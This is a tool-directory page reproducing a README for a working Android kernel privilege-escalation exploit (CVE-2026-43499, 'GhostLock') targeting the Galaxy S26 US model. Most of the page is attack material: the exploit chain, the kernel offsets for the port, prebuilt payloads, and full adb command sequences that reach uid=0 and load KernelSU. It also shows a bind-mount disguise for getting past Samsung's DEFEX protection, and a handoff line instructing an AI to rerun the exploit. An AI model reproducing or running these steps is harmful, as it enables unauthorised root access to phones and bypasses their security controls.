Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
s26-m1q-ghostlock-selinux — GhostLock CVE-2026-43499 調査(Galaxy S26 SM-S942U1/m1q 向け): SELinux Permissive 達成、KASLR + tracefs ポート、uid=0 境界を文書化 | Kitploit
ツール/GitHubGitHub/xrzcc/s26-m1q-ghostlock-selinux
Androidセキュリティ特権昇格脆弱性分析エクスプロイトリバースエンジニアリングモバイルセキュリティバイナリエクスプロイト
GitHubxrzcc/s26-m1q-ghostlock-selinux

s26-m1q-ghostlock-selinux

GhostLock CVE-2026-43499 調査(Galaxy S26 SM-S942U1/m1q 向け): SELinux Permissive 達成、KASLR + tracefs ポート、uid=0 境界を文書化

リポジトリを見る
61511ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

S26 (SM-S942U1 / m1q) GhostLock CVE-2026-43499 — uid=0 root + KernelSU アクティベーション達成

Samsung Galaxy S26(SM-S942U1、コードネーム m1q、SoC SM8850 Snapdragon 8 Elite Gen2、 カーネル 6.12.30-android16-5-android16-5-pd30ff70、Android 16)を対象とした CVE-2026-43499(GhostLock)権限昇格研究。

✅ 最終結果:uid=0 root + KernelSU アクティベーション達成

# exploit 后通过 root helper 验证
$ /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

# KernelSU late-load 后内核接口已就位
$ ./su_daemon_aarch64_pie --ksu-info
KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

$ getenforce
Enforcing   # late-load 后 SELinux 恢复 Enforcing,由 KernelSU 策略接管授权

shell(uid 2000)から uid=0(root) へ権限昇格、context=kernel(最高権限); その後 KernelSU late-load を完了し、カーネルドライバインターフェース(version=32525)が有効化され、SELinux は KernelSU sepolicy によって引き継がれた。

重要な突破経路

monovibe/s26u-m3q-temp-root(S26 Ultra 一時 KernelSU root)を見つけた。そのカーネル commit pd30ff70 は 米国版 S942U1 と完全に一致している。中核メカニズムは dirty-pipe を使わない(「非 NULL 書き込み」境界を回避):

  1. tracefs KASLR プローブ → slide(米国版 KASLR ランダム、nokaslr ではない)
  2. KernelSnitch mm_struct 衝突 + spray
  3. GhostLock 書き込みプリミティブ(owner_null shape)→ misc/simple_attr キャリア(完全な任意読み書き)
  4. uinput misc ノード patch → controller/data の 2 つの fd + debugfs_u64 get/set
  5. workqueue work item を偽造 → call_usermodehelper_exec_work → uid=0 で su_daemon ヘルパーを起動
  6. ヘルパーが root ソケット(temp_su.sock)を作成

移植の要点(m3q → 米国版の 3 箇所の差異)

項目m3q 元の値米国版の値
DEBUGFS_U64_FORMAT_OFF("%llu\n" 文字列オフセット、最も重要)0x18be5e90x18be529
P0_KERNEL_PHYS_LOAD0x800000000xc7800000(xbl_config が権威)
app_uid チェック下限100002000(shell を許可)

DEBUGFS_U64_FORMAT_OFF は文字列リテラル(シンボルではない)であり、コンパイラのレイアウトにより米国版では 0xC0 ずれている; m3q の値は米国版では KVM の "GWVRn_EL1(1)" 文字列を指すため、read プリミティブの出力が文字化けする。

ディレクトリ構造

├── README.md
├── prebuilt/                                  # S26 预编译 payload + ksud(直接用,无需构建)
│   ├── preload-m1q-S942U1UES4AZG3.so          # monovibe fast-attr 变体(命令行 LD_PRELOAD,实测成功)
│   ├── cve-2026-43499-app.so                  # RMG physical-P0 oracle 变体(APP 手动选用)
│   └── ksud-m1q-S942U1UES4AZG3-kdp            # KernelSU loader(复用 m3q,实测 late-load version=32525)
├── docs/
│   └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md   # 完整诊断(含 uid=0 成功记录)
├── m3q-temp-root/                            # monovibe/s26u-m3q-temp-root 移植(源码)
└── kallsyms/kallsyms.txt                      # 美版内核符号表(128307 符号)

ksud は prebuilt/ksud-m1q-S942U1UES4AZG3-kdp に含まれています(m3q を再利用し、late-load の成功を実測済み)。

再現:uid=0 root の達成

prebuilt/ の既成 payload + ksud を直接使用します(ビルド不要):

adb push prebuilt/preload-m1q-S942U1UES4AZG3.so /data/local/tmp/preload.so
adb push prebuilt/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp
adb shell mkdir -p /data/local/tmp/cve-2026-43499-m1q-ues4azg3
# root helper su_daemon_aarch64_pie(24392B):从 m3q-temp-root/ 源码用 NDK r29 构建,
# 或从改造版 APP(lib/arm64-v8a/libcve43499root.so)提取后重命名
adb push su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie
adb shell chmod 755 /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie

# 3. 运行 root-single(需补 PSELECT_MM_KICK_SLABS,否则卡在 "requires 0-16 kicker slabs" gate)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 \
  M3Q_REQUIRE_TRACEFS=1 M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 \
  M3Q_ACCEPT_PANIC_RISK=1 TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 \
  TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 \
  GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so sh"

# 4. 验证 root(exploit 失败会 KP 重启,等设备恢复后重跑 step 3,通常 1-2 次成功)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0

再現:KernelSU late-load アクティベーション(DEFEX の障壁は突破済み)

以前の commit fa1bb14 には「KernelSU late-load が Samsung DEFEX immutable root の障害に遭遇する」と記録されていた。 実機での調査により、late-load 失敗の真の根本原因は DEFEX ではなく、.ksud-stage ソースファイルが一度も作成されていなかったことであると判明した (ksud の stage_daemon_from() は rename のみを担当し、stage ファイルへのコピーは呼び出し側の責任である。 しかし su_daemon の late-load ラッパーはこの手順を漏らしていた → rename が ENOENT を報告し、DEFEX によるブロックと誤判定されていた)。

# 5. 放置 stage 文件(shell uid 即可,在 /data/local/tmp 下)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 6. 通过 root 通道以 bind-logcat 伪装执行 ksud late-load(绕 DEFEX exec 限制)
#    --allow-shell 让 KernelSU 对 shell uid(2000) 自动授权
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(ksud_rc=0)。late-load 会 restorecon 关闭 temp_su.sock(bootstrap 桥按设计退出)

# 7. 验证 KernelSU 激活(temp_su.sock 关闭前,或重新 exploit 后)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

再起動後に su を復元する(payload/ksud/helper はすでにデバイス上にあり、再 push は不要)

一時的な root は再起動のたびに失われます。初回に上記の step 1-7 でファイルを push した後は、以降の再起動では以下の 4 つの adb コマンドだけで済みます:

# 1. exploit(失败会 KP 重启,等设备恢复 boot_completed 后重跑,通常 1-2 次成功)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 M3Q_REQUIRE_TRACEFS=1 \
  M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 M3Q_ACCEPT_PANIC_RISK=1 \
  TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 \
  TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# 成功标志:stdout 含 "m3q-fast-attr-result mode=root root=1 uid=0",su_daemon(uid=0) 起来,getenforce=Permissive

# 2. 放置 stage 文件(late-load 必需,漏这步会 ENOENT)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 3. KernelSU late-load(root 通道 + bind-logcat 伪装绕 DEFEX,--allow-shell 授权 shell uid)
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(rc=0),late-load 后 temp_su.sock 被 restorecon 关闭,getenforce 恢复 Enforcing

# 4. 验证 KernelSU 激活(需重新跑 step 1 拿新 root 通道,或 late-load 后立即趁 sock 未关)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

AI への引き継ぎ:デバイス再起動後に su が失われる場合、上記の step 1-4 を実行すれば復元できます。step 1 が失敗すると KP が発生するので、sys.boot_completed=1 を待ってから再実行してください。すべてのファイルは /data/local/tmp(preload.so + ksud-m1q-S942U1UES4AZG3-kdp + cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie)にあり、再起動しても失われません。

DEFEX の動作実測

  • root(u:r:kernel:s0)が直接 cp … /data/adb/ksud / /data/adb の内容を列挙 → EPERM(DEFEX がパス文字列を遮断)
  • プライベート mount ns + bind /data/adb をイメージパスにバインドした後にアクセス → 許可(DEFEX はパス名でマッチング)
  • ksud が bind-logcat 偽装下で late-load を実行 → /data/adb/ksud の stage rename は DEFEX に遮断されなかった (以前 ENOENT を報告したのはソースファイル .ksud-stage の欠如によるもので、DEFEX ではない)

KernelSU の root 使用

ツールをダウンロード